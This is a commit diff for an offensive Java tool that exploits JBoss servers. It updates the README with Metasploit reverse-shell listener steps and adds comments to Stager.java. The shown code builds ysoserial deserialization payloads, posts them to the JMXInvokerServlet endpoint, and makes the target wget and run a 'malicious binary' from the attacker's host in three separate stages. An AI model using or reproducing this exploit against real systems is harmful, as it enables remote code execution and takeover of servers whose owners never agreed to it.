Updated README with general information and added comments to Stager

README.md

@@ -27,6 +27,21 @@ Coming soon.
 
 Coming soon.
 
+
+## Requirements
+
+1. Metasploit Framework -- You must have a listener running in msfconsole before running this exploit. Example:
+```shell
+# msfconsole
+msf > use exploit/multi/handler
+msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
+msf exploit(handler) > set LHOST <local ip>
+msf exploit(handler) > set LPORT <local port>
+msf exploit(handler) > exploit
+```
+
+2. msfvenom must be installed and available in your PATH. This command is used to generate the reverse shell payload.
+
 ## Installation
 
 1. Download the latest jar from the "releases" section.

src/main/java/jbossexploit/Stager.java

@@ -17,6 +17,8 @@ public static void sendPayload(int stage, String rhost, int rport, String lhost,
         ysoserial.GeneratePayload ysoserial = new ysoserial.GeneratePayload();
         String command = null;
 
+        // I was unable to chain commands ("&&") during testing, so we'll send 3 separate requests to download and execute
+        // the malicious binary
         switch (stage) {
             case 0:
                 command = "wget -O /tmp/" + binaryName + " http://" + lhost + ":" + wport + "/" + binaryName;
@@ -37,6 +39,8 @@ public static void sendPayload(int stage, String rhost, int rport, String lhost,
         String url = "http://" + rhost + ":" + rport + "/invoker/JMXInvokerServlet";
 
         DefaultHttpClient httpClient = new DefaultHttpClient();
+
+        // http://stackoverflow.com/questions/2836646/java-serializable-object-to-byte-array
         ByteArrayOutputStream bos = new ByteArrayOutputStream();
         ObjectOutput out = null;
         byte[] payloadBytes = null;
@@ -70,6 +74,9 @@ public static void sendPayload(int stage, String rhost, int rport, String lhost,
     }
 
     public static class HttpGetWithEntity extends HttpEntityEnclosingRequestBase {
+        // Allows adding content to the body of a GET request, as required by ysoserial
+        // http://stackoverflow.com/questions/12535016/apache-httpclient-get-with-body
+
         public final static String METHOD_NAME = "GET";
 
         @Override